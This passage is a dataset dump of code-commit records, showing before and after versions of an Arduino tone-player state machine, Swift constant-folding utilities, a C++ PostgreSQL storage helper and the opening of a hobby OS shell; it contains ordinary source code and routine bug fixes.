*\/\n\nAtm_player& Atm_player::onNote( Machine& machine, int event ) {\n  onPush( connectors, ON_NOTE, 0, 2, 1, machine, event );\n  return *this;\n}\nAtm_player& Atm_player::onNote( atm_cb_push_t callback, int idx ) {\n  onPush( connectors, ON_NOTE, 0, 2, 1, callback, idx );\n  return *this;\n}\nAtm_player& Atm_player::onNote( int sub, Machine& machine, int event ) {\n  onPush( connectors, ON_NOTE, sub, 2, 0, machine, event );\n  return *this;\n}\nAtm_player& Atm_player::onNote( int sub, atm_cb_push_t callback, int idx ) {\n  onPush( connectors, ON_NOTE, sub, 2, 0, callback, idx );\n  return *this;\n}\n\n\/* State trace method\n * Sets the symbol table and the default logging method for serial monitoring\n *\/\n\nAtm_player& Atm_player::trace( Stream& stream ) {\n  Machine::setTrace( &stream, atm_serial_debug::trace,\n                     \"PLAYER\\0EVT_START\\0EVT_STOP\\0EVT_TOGGLE\\0EVT_TIMER\\0EVT_EOPAT\\0EVT_REPEAT\\0ELSE\\0IDLE\\0START\\0SOUND\\0QUIET\\0NEXT\\0REPEAT\\0FINISH\" );\n  return *this;\n}\n<commit_msg>Fixed tone ifdefs into ifndefs (issue #41)<commit_after>#include \"Atm_player.hpp\"\n\n\/* Add optional parameters for the state machine to begin()\n * Add extra initialization code\n *\/\n\nAtm_player& Atm_player::begin( int pin \/* = - 1 *\/ ) {\n  \/\/ clang-format off\n  const static state_t state_table[] PROGMEM = {\n    \/*             ON_ENTER    ON_LOOP  ON_EXIT  EVT_START  EVT_STOP  EVT_TOGGLE  EVT_TIMER  EVT_EOPAT  EVT_REPEAT   ELSE *\/\n    \/*   IDLE *\/   ENT_IDLE, ATM_SLEEP,      -1,     START,       -1,      START,        -1,        -1,         -1,    -1,\n    \/*  START *\/  ENT_START,        -1,      -1,        -1,       -1,         -1,        -1,        -1,         -1, SOUND,\n    \/*  SOUND *\/  ENT_SOUND,        -1,      -1,        -1,     IDLE,       IDLE,     QUIET,        -1,         -1,    -1,\n    \/*  QUIET *\/  ENT_QUIET,        -1,      -1,        -1,     IDLE,       IDLE,      NEXT,        -1,         -1,    -1,\n    \/*   NEXT *\/   ENT_NEXT,        -1,      -1,        -1,     IDLE,       IDLE,        -1,    REPEAT,         -1, SOUND,\n    \/* REPEAT *\/ ENT_REPEAT,        -1,      -1,        -1,     IDLE,       IDLE,        -1,        -1,     FINISH, START,\n    \/* FINISH *\/ ENT_FINISH,        -1,      -1,        -1,     IDLE,         -1,        -1,        -1,       IDLE, START,\n  };\n  \/\/ clang-format on\n  Machine::begin( state_table, ELSE );\n  Atm_player::pin = pin;\n  speed( 100 );\n  pitch( 100 );\n  repeat( 1 );\n  play( 880, 50 );\n  return *this;\n}\n\n\/* Add C++ code for each event (input)\n * The code must return 1 if the event should be triggered\n *\/\n\nint Atm_player::event( int id ) {\n  switch ( id ) {\n    case EVT_START:\n      return 0;\n    case EVT_TIMER:\n      return timer.expired( this );\n    case EVT_EOPAT:\n      if ( patternwidth == 32 ) {\n        return ( step * 3 * sizeof( uint32_t ) ) >= patternsize;\n      } else {\n        return ( step * 3 * sizeof( int ) ) >= patternsize;\n      }\n    case EVT_REPEAT:\n      return counter_repeat.expired();\n  }\n  return 0;\n}\n\n\/* Add C++ code for each action\n * This generates the 'output' for the state machine\n *\/\n\nvoid Atm_player::action( int id ) {\n  switch ( id ) {\n    case ENT_FINISH:\n      push( connectors, ON_FINISH, 0, 0, 0 );\n      return;\n    case ENT_IDLE:\n#ifndef _VARIANT_ARDUINO_DUE_X_    \n      if ( pin >= 0 ) noTone( pin );  \/\/ Tone takes up 7 bytes extra SRAM\n#endif\n      counter_repeat.set( repeatCount );\n      return;\n    case ENT_START:\n      step = 0;\n      counter_repeat.decrement();\n      return;\n    case ENT_SOUND:\n      if ( patternwidth == 32 ) {\n        uint32_t v = pattern32[step * 3] * (uint32_t)pitchFactor;\n        push( connectors, ON_NOTE, true, v & 0xFFFF, v >> 16 & 0xFFFF );\n#ifndef _VARIANT_ARDUINO_DUE_X_        \n        if ( pin >= 0 ) tone( pin, pattern32[step * 3] * pitchFactor );\n#endif\n        timer.set( pattern32[step * 3 + 1] * speedFactor );\n      } else {\n        push( connectors, ON_NOTE, true, pattern16[step * 3] * pitchFactor, 1 );\n#ifndef _VARIANT_ARDUINO_DUE_X_        \n        if ( pin >= 0 ) tone( pin, pattern16[step * 3] * pitchFactor );\n#endif\n        timer.set( pattern16[step * 3 + 1] * speedFactor );        \n      }\n      return;\n    case ENT_QUIET:\n      if ( patternwidth == 32 ) {\n        uint32_t v = pattern32[step * 3] * (uint32_t)pitchFactor;\n        push( connectors, ON_NOTE, false, v & 0xFFFF, v >> 16 & 0xFFFF );\n#ifndef _VARIANT_ARDUINO_DUE_X_\n        if ( pin >= 0 ) noTone( pin );\n#endif        \n        timer.set( pattern32[step * 3 + 2] * speedFactor );\n      } else {\n        push( connectors, ON_NOTE, false, pattern16[step * 3] * pitchFactor, 0 );\n#ifndef _VARIANT_ARDUINO_DUE_X_\n        if ( pin >= 0 ) noTone( pin );\n#endif\n        timer.set( pattern16[step * 3 + 2] * speedFactor );\n      }\n      return;\n    case ENT_NEXT:\n      step++;\n      return;\n    case ENT_REPEAT:\n      return;\n  }\n}\n\n\/* How many times to repeat the pattern\n *\n *\/\n\nAtm_player& Atm_player::repeat( uint16_t v \/* = -1 *\/) {\n  counter_repeat.set( repeatCount = v );\n  return *this;\n}\n\nAtm_player& Atm_player::speed( float v ) {\n  speedFactor = 100 \/ v;\n  return *this;\n}\n\nAtm_player& Atm_player::pitch( float v ) {\n  pitchFactor = v \/ 100;\n  return *this;\n}\n\nAtm_player& Atm_player::start( void ) {\n  trigger( EVT_START );\n  return *this;\n}\n\nAtm_player& Atm_player::stop( void ) {\n  trigger( EVT_STOP );\n  return *this;\n}\n\nAtm_player& Atm_player::toggle( void ) {\n  trigger( EVT_TOGGLE );\n  return *this;\n}\n\n\/* Sets the pattern and pattern length (in bytes)\n *\n *\/\n\nAtm_player& Atm_player::play( int* pat, int patsize ) {\n  patternwidth = 16;\n  pattern16 = pat;\n  patternsize = patsize;\n  counter_repeat.set( repeatCount );\n  step = 0;\n  return *this;\n}\n\nAtm_player& Atm_player::play( uint32_t* pat, int patsize ) {\n  patternwidth = 32;\n  pattern32 = pat;\n  patternsize = patsize;\n  counter_repeat.set( repeatCount );\n  step = 0;\n  return *this;\n}\n\nAtm_player& Atm_player::play( int freq, int period, int pause \/* = 0 *\/ ) {\n  patternwidth = 16;\n  stub[0] = freq;\n  stub[1] = period;\n  stub[2] = pause;\n  pattern16 = stub;\n  patternsize = 3 * sizeof( int );\n  step = 0;\n  return *this;\n}\n\n\/* Optionally override the default trigger() method\n * Control what triggers your machine can and cannot process\n *\/\n\nAtm_player& Atm_player::trigger( int event ) {\n  Machine::trigger( event );\n  return *this;\n}\n\n\/* Optionally override the default state() method\n * Control what the machine returns when another process requests its state()\n *\/\n\nint Atm_player::state( void ) {\n  return Machine::state();\n}\n\n\/* Nothing customizable below this line\n ************************************************************************************************\n*\/\n\n\/* onFinish() push connector variants ( slots 1, autostore 0, broadcast 0 )\n *\n * Usage in action() handler: push( connectors, ON_FINISH, 0, v, up)\n *\/\n\nAtm_player& Atm_player::onFinish( Machine& machine, int event ) {\n  onPush( connectors, ON_FINISH, 0, 1, 1, machine, event );\n  return *this;\n}\nAtm_player& Atm_player::onFinish( atm_cb_push_t callback, int idx ) {\n  onPush( connectors, ON_FINISH, 0, 1, 1, callback, idx );\n  return *this;\n}\n\n\/* onNote() push connector variants ( slots 2, autostore 0, broadcast 0 )\n *\n * Usage in action() handler: push( connectors, ON_NOTE, sub, v, up)\n *\/\n\nAtm_player& Atm_player::onNote( Machine& machine, int event ) {\n  onPush( connectors, ON_NOTE, 0, 2, 1, machine, event );\n  return *this;\n}\nAtm_player& Atm_player::onNote( atm_cb_push_t callback, int idx ) {\n  onPush( connectors, ON_NOTE, 0, 2, 1, callback, idx );\n  return *this;\n}\nAtm_player& Atm_player::onNote( int sub, Machine& machine, int event ) {\n  onPush( connectors, ON_NOTE, sub, 2, 0, machine, event );\n  return *this;\n}\nAtm_player& Atm_player::onNote( int sub, atm_cb_push_t callback, int idx ) {\n  onPush( connectors, ON_NOTE, sub, 2, 0, callback, idx );\n  return *this;\n}\n\n\/* State trace method\n * Sets the symbol table and the default logging method for serial monitoring\n *\/\n\nAtm_player& Atm_player::trace( Stream& stream ) {\n  Machine::setTrace( &stream, atm_serial_debug::trace,\n                     \"PLAYER\\0EVT_START\\0EVT_STOP\\0EVT_TOGGLE\\0EVT_TIMER\\0EVT_EOPAT\\0EVT_REPEAT\\0ELSE\\0IDLE\\0START\\0SOUND\\0QUIET\\0NEXT\\0REPEAT\\0FINISH\" );\n  return *this;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- ConstantFolding.cpp - Utils for SIL constant folding -------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/SILOptimizer\/Utils\/ConstantFolding.h\"\n\nusing namespace swift;\n\nAPInt swift::constantFoldBitOperation(APInt lhs, APInt rhs, BuiltinValueKind ID) {\n  switch (ID) {\n    default: llvm_unreachable(\"Not all cases are covered!\");\n    case BuiltinValueKind::And:\n      return lhs.And(rhs);\n    case BuiltinValueKind::AShr:\n      return lhs.ashr(rhs);\n    case BuiltinValueKind::LShr:\n      return lhs.lshr(rhs);\n    case BuiltinValueKind::Or:\n      return lhs.Or(rhs);\n    case BuiltinValueKind::Shl:\n      return lhs.shl(rhs);\n    case BuiltinValueKind::Xor:\n      return lhs.Xor(rhs);\n  }\n}\n\nAPInt swift::constantFoldComparison(APInt lhs, APInt rhs, BuiltinValueKind ID) {\n  bool result;\n  switch (ID) {\n    default: llvm_unreachable(\"Invalid integer compare kind\");\n    case BuiltinValueKind::ICMP_EQ:  result = lhs == rhs; break;\n    case BuiltinValueKind::ICMP_NE:  result = lhs != rhs; break;\n    case BuiltinValueKind::ICMP_SLT: result = lhs.slt(rhs); break;\n    case BuiltinValueKind::ICMP_SGT: result = lhs.sgt(rhs); break;\n    case BuiltinValueKind::ICMP_SLE: result = lhs.sle(rhs); break;\n    case BuiltinValueKind::ICMP_SGE: result = lhs.sge(rhs); break;\n    case BuiltinValueKind::ICMP_ULT: result = lhs.ult(rhs); break;\n    case BuiltinValueKind::ICMP_UGT: result = lhs.ugt(rhs); break;\n    case BuiltinValueKind::ICMP_ULE: result = lhs.ule(rhs); break;\n    case BuiltinValueKind::ICMP_UGE: result = lhs.uge(rhs); break;\n  }\n  return APInt(1, result);\n}\n\nAPInt swift::constantFoldBinaryWithOverflow(APInt lhs, APInt rhs,\n                                            bool &Overflow,\n                                            llvm::Intrinsic::ID ID) {\n  switch (ID) {\n    default: llvm_unreachable(\"Invalid case\");\n    case llvm::Intrinsic::sadd_with_overflow:\n      return lhs.sadd_ov(rhs, Overflow);\n    case llvm::Intrinsic::uadd_with_overflow:\n      return lhs.uadd_ov(rhs, Overflow);\n    case llvm::Intrinsic::ssub_with_overflow:\n      return lhs.ssub_ov(rhs, Overflow);\n    case llvm::Intrinsic::usub_with_overflow:\n      return lhs.usub_ov(rhs, Overflow);\n    case llvm::Intrinsic::smul_with_overflow:\n      return lhs.smul_ov(rhs, Overflow);\n    case llvm::Intrinsic::umul_with_overflow:\n      return lhs.umul_ov(rhs, Overflow);\n  }\n}\n\nAPInt swift::constantFoldDiv(APInt lhs, APInt rhs, bool &Overflow,\n                             BuiltinValueKind ID) {\n  assert(rhs != 0 && \"division by zero\");\n  switch (ID) {\n    default : llvm_unreachable(\"Invalid case\");\n    case BuiltinValueKind::SDiv:\n      return lhs.sdiv_ov(rhs, Overflow);\n    case BuiltinValueKind::SRem:\n      \/\/ Check for overflow\n      lhs.sdiv_ov(rhs, Overflow);\n      return lhs.srem(rhs);\n    case BuiltinValueKind::UDiv:\n      Overflow = false;\n      return lhs.udiv(rhs);\n    case BuiltinValueKind::URem:\n      Overflow = false;\n      return lhs.urem(rhs);\n  }\n}\n\nAPInt swift::constantFoldCast(APInt val, const BuiltinInfo &BI) {\n  \/\/ Get the cast result.\n  Type SrcTy = BI.Types[0];\n  Type DestTy = BI.Types.size() == 2 ? BI.Types[1] : Type();\n  uint32_t SrcBitWidth =\n  SrcTy->castTo<BuiltinIntegerType>()->getGreatestWidth();\n  uint32_t DestBitWidth =\n  DestTy->castTo<BuiltinIntegerType>()->getGreatestWidth();\n  \n  APInt CastResV;\n  if (SrcBitWidth == DestBitWidth) {\n    return val;\n  } else switch (BI.ID) {\n    default : llvm_unreachable(\"Invalid case.\");\n    case BuiltinValueKind::Trunc:\n    case BuiltinValueKind::TruncOrBitCast:\n      return val.trunc(DestBitWidth);\n    case BuiltinValueKind::ZExt:\n    case BuiltinValueKind::ZExtOrBitCast:\n      return val.zext(DestBitWidth);\n      break;\n    case BuiltinValueKind::SExt:\n    case BuiltinValueKind::SExtOrBitCast:\n      return val.sext(DestBitWidth);\n  }\n}\n<commit_msg>Adjust for SVN r297121<commit_after>\/\/===--- ConstantFolding.cpp - Utils for SIL constant folding -------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/SILOptimizer\/Utils\/ConstantFolding.h\"\n\nusing namespace swift;\n\nAPInt swift::constantFoldBitOperation(APInt lhs, APInt rhs, BuiltinValueKind ID) {\n  switch (ID) {\n    default: llvm_unreachable(\"Not all cases are covered!\");\n    case BuiltinValueKind::And:\n      return lhs & rhs;\n    case BuiltinValueKind::AShr:\n      return lhs.ashr(rhs);\n    case BuiltinValueKind::LShr:\n      return lhs.lshr(rhs);\n    case BuiltinValueKind::Or:\n      return lhs | rhs;\n    case BuiltinValueKind::Shl:\n      return lhs.shl(rhs);\n    case BuiltinValueKind::Xor:\n      return lhs ^ rhs;\n  }\n}\n\nAPInt swift::constantFoldComparison(APInt lhs, APInt rhs, BuiltinValueKind ID) {\n  bool result;\n  switch (ID) {\n    default: llvm_unreachable(\"Invalid integer compare kind\");\n    case BuiltinValueKind::ICMP_EQ:  result = lhs == rhs; break;\n    case BuiltinValueKind::ICMP_NE:  result = lhs != rhs; break;\n    case BuiltinValueKind::ICMP_SLT: result = lhs.slt(rhs); break;\n    case BuiltinValueKind::ICMP_SGT: result = lhs.sgt(rhs); break;\n    case BuiltinValueKind::ICMP_SLE: result = lhs.sle(rhs); break;\n    case BuiltinValueKind::ICMP_SGE: result = lhs.sge(rhs); break;\n    case BuiltinValueKind::ICMP_ULT: result = lhs.ult(rhs); break;\n    case BuiltinValueKind::ICMP_UGT: result = lhs.ugt(rhs); break;\n    case BuiltinValueKind::ICMP_ULE: result = lhs.ule(rhs); break;\n    case BuiltinValueKind::ICMP_UGE: result = lhs.uge(rhs); break;\n  }\n  return APInt(1, result);\n}\n\nAPInt swift::constantFoldBinaryWithOverflow(APInt lhs, APInt rhs,\n                                            bool &Overflow,\n                                            llvm::Intrinsic::ID ID) {\n  switch (ID) {\n    default: llvm_unreachable(\"Invalid case\");\n    case llvm::Intrinsic::sadd_with_overflow:\n      return lhs.sadd_ov(rhs, Overflow);\n    case llvm::Intrinsic::uadd_with_overflow:\n      return lhs.uadd_ov(rhs, Overflow);\n    case llvm::Intrinsic::ssub_with_overflow:\n      return lhs.ssub_ov(rhs, Overflow);\n    case llvm::Intrinsic::usub_with_overflow:\n      return lhs.usub_ov(rhs, Overflow);\n    case llvm::Intrinsic::smul_with_overflow:\n      return lhs.smul_ov(rhs, Overflow);\n    case llvm::Intrinsic::umul_with_overflow:\n      return lhs.umul_ov(rhs, Overflow);\n  }\n}\n\nAPInt swift::constantFoldDiv(APInt lhs, APInt rhs, bool &Overflow,\n                             BuiltinValueKind ID) {\n  assert(rhs != 0 && \"division by zero\");\n  switch (ID) {\n    default : llvm_unreachable(\"Invalid case\");\n    case BuiltinValueKind::SDiv:\n      return lhs.sdiv_ov(rhs, Overflow);\n    case BuiltinValueKind::SRem:\n      \/\/ Check for overflow\n      lhs.sdiv_ov(rhs, Overflow);\n      return lhs.srem(rhs);\n    case BuiltinValueKind::UDiv:\n      Overflow = false;\n      return lhs.udiv(rhs);\n    case BuiltinValueKind::URem:\n      Overflow = false;\n      return lhs.urem(rhs);\n  }\n}\n\nAPInt swift::constantFoldCast(APInt val, const BuiltinInfo &BI) {\n  \/\/ Get the cast result.\n  Type SrcTy = BI.Types[0];\n  Type DestTy = BI.Types.size() == 2 ? BI.Types[1] : Type();\n  uint32_t SrcBitWidth =\n  SrcTy->castTo<BuiltinIntegerType>()->getGreatestWidth();\n  uint32_t DestBitWidth =\n  DestTy->castTo<BuiltinIntegerType>()->getGreatestWidth();\n  \n  APInt CastResV;\n  if (SrcBitWidth == DestBitWidth) {\n    return val;\n  } else switch (BI.ID) {\n    default : llvm_unreachable(\"Invalid case.\");\n    case BuiltinValueKind::Trunc:\n    case BuiltinValueKind::TruncOrBitCast:\n      return val.trunc(DestBitWidth);\n    case BuiltinValueKind::ZExt:\n    case BuiltinValueKind::ZExtOrBitCast:\n      return val.zext(DestBitWidth);\n      break;\n    case BuiltinValueKind::SExt:\n    case BuiltinValueKind::SExtOrBitCast:\n      return val.sext(DestBitWidth);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <stack>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/lexical_cast.hpp>\n\n#include <karl\/price_normalization.hpp>\n\n#include <karl\/util\/log.hpp>\n\n#include <karl\/storage\/storage.hpp>\n#include <karl\/storage\/storage_read_fusion.hpp>\n#include <karl\/storage\/storage_write_fusion.hpp>\n\n#include <supermarx\/util\/guard.hpp>\n\n#include <supermarx\/data\/tagalias.hpp>\n#include <supermarx\/data\/tagcategoryalias.hpp>\n\n#include \"sql.cc\"\n\n#include <karl\/storage\/query_gen.hpp>\n#include <karl\/storage\/table_repository.hpp>\n\nnamespace supermarx\n{\n\nenum class statement : uint8_t\n{\n\tabsorb_productclass_product,\n\tabsorb_productclass_delete_tag_productclass,\n\tabsorb_productclass_tag_productclass,\n\tabsorb_productclass_delete,\n\n\tupdate_product,\n\tabsorb_tag,\n\tabsorb_tagcategory,\n\tbind_tag,\n\tupdate_tag_set_parent,\n\n\tupdate_product_image_citation,\n\n\tinvalidate_productdetails,\n};\n\ninline std::string conv(statement rhs)\n{\n\treturn std::string(\"PREP_STATEMENT\") + boost::lexical_cast<std::string>(static_cast<uint32_t>(rhs));\n}\n\nid_t read_id(pqxx::result& result, std::string const& key = \"id\")\n{\n\tfor(auto row : result)\n\t\treturn row[key].as<id_t>();\n\n\tthrow std::logic_error(\"Storage backend did not return a single row for `read_id`\");\n}\n\ntemplate<typename T>\nstatic inline T read_first_result(pqxx::result const& result)\n{\n\tfor(auto row : result)\n\t\treturn read_result<T>(row);\n\n\tthrow storage::not_found_error();\n}\n\ntemplate<typename T, typename ARG>\nstatic inline T fetch_simple_first(pqxx::connection& conn, statement stmt, ARG const& arg)\n{\n\tpqxx::work txn(conn);\n\tpqxx::result result(txn.prepared(conv(stmt))(arg).exec());\n\treturn read_first_result<T>(result);\n}\n\ntemplate<typename T, typename ARG>\nstatic inline T fetch_simple_first(pqxx::connection& conn, std::string const& q, ARG const& arg)\n{\n\tpqxx::work txn(conn);\n\tpqxx::result result(txn.parameterized(q)(arg).exec());\n\treturn read_first_result<T>(result);\n}\n\ntemplate<typename T, typename U>\nstatic inline reference<T> fetch_id(pqxx::work& txn, statement stmt, U const& x)\n{\n\tpqxx::prepare::invocation invo(txn.prepared(conv(stmt)));\n\twrite_invo<U>(invo, x);\n\tpqxx::result result(invo.exec());\n\treturn reference<T>(read_id(result));\n}\n\ntemplate<typename T>\nstatic inline pqxx::result write(pqxx::transaction_base& txn, statement stmt, T const& x)\n{\n\tpqxx::prepare::invocation invo(txn.prepared(conv(stmt)));\n\twrite_invo<T>(invo, x);\n\tpqxx::result result(invo.exec());\n\treturn result;\n}\n\ntemplate<typename T>\nstatic inline reference<T> write_with_id(pqxx::transaction_base& txn, statement stmt, T const& x)\n{\n\tpqxx::result result(write(txn, stmt, x));\n\treturn reference<T>(read_id(result));\n}\n\ntemplate<typename T>\nstatic inline reference<T> write_with_id(pqxx::transaction_base& txn, T const& x)\n{\n\tstatic std::string q = query_gen::simple_insert_with_id<T>(table_repository::lookup<T>());\n\tauto invo(txn.parameterized(q));\n\twrite_invo<T>(invo, x);\n\tpqxx::result result(invo.exec());\n\treturn reference<T>(read_id(result));\n}\n\ntemplate<typename T>\nstatic inline pqxx::result write(pqxx::transaction_base& txn, T const& x)\n{\n\tstatic std::string q = query_gen::simple_insert<T>(table_repository::lookup<T>());\n\tauto invo(txn.parameterized(q));\n\twrite_invo<T>(invo, x);\n\treturn invo.exec();\n}\n\ntemplate<typename T>\nstatic inline pqxx::result write_simple(pqxx::connection& conn, T const& x)\n{\n\tpqxx::work txn(conn);\n\tpqxx::result result(write(txn, x));\n\ttxn.commit();\n\treturn result;\n}\n\ntemplate<typename T>\nstatic inline reference<T> write_simple_with_id(pqxx::connection& conn, T const& x)\n{\n\tpqxx::result result(write_simple(conn, x));\n\treturn reference<T>(read_id(result));\n}\n\nvoid lock_products_read(pqxx::transaction_base& txn)\n{\n\ttxn.exec(\"lock table product in access share mode\");\n}\n\nvoid lock_products_write(pqxx::transaction_base& txn)\n{\n\ttxn.exec(\"lock table product in access exclusive mode\");\n}\n\n}\n<commit_msg>Fixed write_simple_with_id<commit_after>#pragma once\n\n#include <stack>\n#include <boost\/algorithm\/string\/predicate.hpp>\n#include <boost\/lexical_cast.hpp>\n\n#include <karl\/price_normalization.hpp>\n\n#include <karl\/util\/log.hpp>\n\n#include <karl\/storage\/storage.hpp>\n#include <karl\/storage\/storage_read_fusion.hpp>\n#include <karl\/storage\/storage_write_fusion.hpp>\n\n#include <supermarx\/util\/guard.hpp>\n\n#include <supermarx\/data\/tagalias.hpp>\n#include <supermarx\/data\/tagcategoryalias.hpp>\n\n#include \"sql.cc\"\n\n#include <karl\/storage\/query_gen.hpp>\n#include <karl\/storage\/table_repository.hpp>\n\nnamespace supermarx\n{\n\nenum class statement : uint8_t\n{\n\tabsorb_productclass_product,\n\tabsorb_productclass_delete_tag_productclass,\n\tabsorb_productclass_tag_productclass,\n\tabsorb_productclass_delete,\n\n\tupdate_product,\n\tabsorb_tag,\n\tabsorb_tagcategory,\n\tbind_tag,\n\tupdate_tag_set_parent,\n\n\tupdate_product_image_citation,\n\n\tinvalidate_productdetails,\n};\n\ninline std::string conv(statement rhs)\n{\n\treturn std::string(\"PREP_STATEMENT\") + boost::lexical_cast<std::string>(static_cast<uint32_t>(rhs));\n}\n\nid_t read_id(pqxx::result& result, std::string const& key = \"id\")\n{\n\tfor(auto row : result)\n\t\treturn row[key].as<id_t>();\n\n\tthrow std::logic_error(\"Storage backend did not return a single row for `read_id`\");\n}\n\ntemplate<typename T>\nstatic inline T read_first_result(pqxx::result const& result)\n{\n\tfor(auto row : result)\n\t\treturn read_result<T>(row);\n\n\tthrow storage::not_found_error();\n}\n\ntemplate<typename T, typename ARG>\nstatic inline T fetch_simple_first(pqxx::connection& conn, statement stmt, ARG const& arg)\n{\n\tpqxx::work txn(conn);\n\tpqxx::result result(txn.prepared(conv(stmt))(arg).exec());\n\treturn read_first_result<T>(result);\n}\n\ntemplate<typename T, typename ARG>\nstatic inline T fetch_simple_first(pqxx::connection& conn, std::string const& q, ARG const& arg)\n{\n\tpqxx::work txn(conn);\n\tpqxx::result result(txn.parameterized(q)(arg).exec());\n\treturn read_first_result<T>(result);\n}\n\ntemplate<typename T, typename U>\nstatic inline reference<T> fetch_id(pqxx::work& txn, statement stmt, U const& x)\n{\n\tpqxx::prepare::invocation invo(txn.prepared(conv(stmt)));\n\twrite_invo<U>(invo, x);\n\tpqxx::result result(invo.exec());\n\treturn reference<T>(read_id(result));\n}\n\ntemplate<typename T>\nstatic inline pqxx::result write(pqxx::transaction_base& txn, statement stmt, T const& x)\n{\n\tpqxx::prepare::invocation invo(txn.prepared(conv(stmt)));\n\twrite_invo<T>(invo, x);\n\tpqxx::result result(invo.exec());\n\treturn result;\n}\n\ntemplate<typename T>\nstatic inline reference<T> write_with_id(pqxx::transaction_base& txn, statement stmt, T const& x)\n{\n\tpqxx::result result(write(txn, stmt, x));\n\treturn reference<T>(read_id(result));\n}\n\ntemplate<typename T>\nstatic inline reference<T> write_with_id(pqxx::transaction_base& txn, T const& x)\n{\n\tstatic std::string q = query_gen::simple_insert_with_id<T>(table_repository::lookup<T>());\n\tauto invo(txn.parameterized(q));\n\twrite_invo<T>(invo, x);\n\tpqxx::result result(invo.exec());\n\treturn reference<T>(read_id(result));\n}\n\ntemplate<typename T>\nstatic inline pqxx::result write(pqxx::transaction_base& txn, T const& x)\n{\n\tstatic std::string q = query_gen::simple_insert<T>(table_repository::lookup<T>());\n\tauto invo(txn.parameterized(q));\n\twrite_invo<T>(invo, x);\n\treturn invo.exec();\n}\n\ntemplate<typename T>\nstatic inline pqxx::result write_simple(pqxx::connection& conn, T const& x)\n{\n\tpqxx::work txn(conn);\n\tpqxx::result result(write(txn, x));\n\ttxn.commit();\n\treturn result;\n}\n\ntemplate<typename T>\nstatic inline reference<T> write_simple_with_id(pqxx::connection& conn, T const& x)\n{\n\tpqxx::work txn(conn);\n\treference<T> result(write_with_id(txn, x));\n\ttxn.commit();\n\treturn result;\n}\n\nvoid lock_products_read(pqxx::transaction_base& txn)\n{\n\ttxn.exec(\"lock table product in access share mode\");\n}\n\nvoid lock_products_write(pqxx::transaction_base& txn)\n{\n\ttxn.exec(\"lock table product in access exclusive mode\");\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"debug.h\"\n#include \"paging.h\"\n#include \"screen.h\"\n#include \"shell.h\"\n#include \"stdlib.h\"\n#include \"string.h\"\n#include \"timer.h\"\n\nclass Command\n{\npublic:\n    virtual const char* getName() = 0;\n\n    virtual const char* getHelp() = 0;\n\n    virtual void execute() = 0;\n};\n\nclass ClearCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"clear\";\n    }\n\n    const char* getHelp() override\n    {\n        return \"Clears the screen\\n\";\n    }\n\n    void execute() override\n    {\n        if (strtok(nullptr, \" \") != nullptr)\n        {\n            screen << \"Unexpected arguments\\n\";\n        }\n        else\n        {\n            screen.clear();\n        }\n    }\n} clearCmd;\n\nclass ReadCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"read\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Reads a byte from memory\n)\";\n    }\n\n    void execute() override\n    {\n        char* arg = strtok(nullptr, \" \");\n        if (arg == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strtok(nullptr, \" \") != nullptr)\n        {\n            screen << \"Too many arguments\\n\";\n        }\n        else\n        {\n            char* str = nullptr;\n            long addr = strtol(arg, &str, 16);\n            if (str == nullptr || *str != '\\0')\n            {\n                screen << \"Argument is not a valid hexadecimal number\\n\";\n            }\n            else\n            {\n                uint8_t* ptr = reinterpret_cast<uint8_t*>(addr);\n                uint8_t value = *ptr;\n                screen << os::Screen::hex\n                       << os::Screen::setfill('0')\n                       << os::Screen::setw(2)\n                       << value\n                       << os::Screen::setfill(' ')\n                       << os::Screen::dec\n                       << '\\n';\n            }\n        }\n    }\n} readCmd;\n\nclass SetCommand : public Command\n{\npublic:\n    const char* getName() override\n    {\n        return \"set\";\n    }\n\n    const char* getHelp() override\n    {\n        return\nR\"(Changes config options:\n\nset bg <0-15>\n    Set background color\n\nset fg <0-15>\n    Set foreground color\n)\";\n    }\n\n    void execute() override\n    {\n        char* arg = strtok(nullptr, \" \");\n        if (arg == nullptr)\n        {\n            screen << \"Not enough arguments\\n\";\n        }\n        else if (strcmp(arg, \"bg\") == 0)\n        {\n            char* colorStr = strtok(nullptr, \" \");\n            if (colorStr == nullptr)\n            {\n                screen << \"No color given\\n\";\n            }\n            else\n            {\n                int color = atoi(colorStr);\n                if (color < 0 || color > 15)\n                {\n                    screen << \"Invalid color\\n\";\n                }\n                else\n                {\n                    screen.setBackgroundColor(static_cast<os::Screen::EColor>(color));\n                }\n            }\n        }\n        else if (strcmp(arg, \"fg\") == 0)\n        {\n            char* colorStr = strtok(nullptr, \" \");\n            if (colorStr == nullptr)\n            {\n                screen << \"No color given\\n\";\n            }\n            else\n            {\n                int color = atoi(colorStr);\n                if (color < 0 || color > 15)\n                {\n                    screen << \"Invalid color\\n\";\n                }\n                else\n                {\n                    screen.setForegroundColor(static_cast<os::Screen::EColor>(color));\n                }\n            }\n        }\n        else\n        {\n            screen << \"Unexpected argument\\n\";\n        }\n    }\n} setCmd;\n\nclass ShowCommand : public Command\n{\npublic:\n    ShowCommand() :\n        mbootInfo(nullptr)\n    {\n    }\n\n    void setMbootInfo(const multiboot_info* mbootInfoPtr)\n    {\n        mbootInfo = mbootInfoPtr;\n    }\n\n    const char* getName() override\n    {\n        return \"show\";\n    }\n\n    const char* getHelp() override\n    {\n        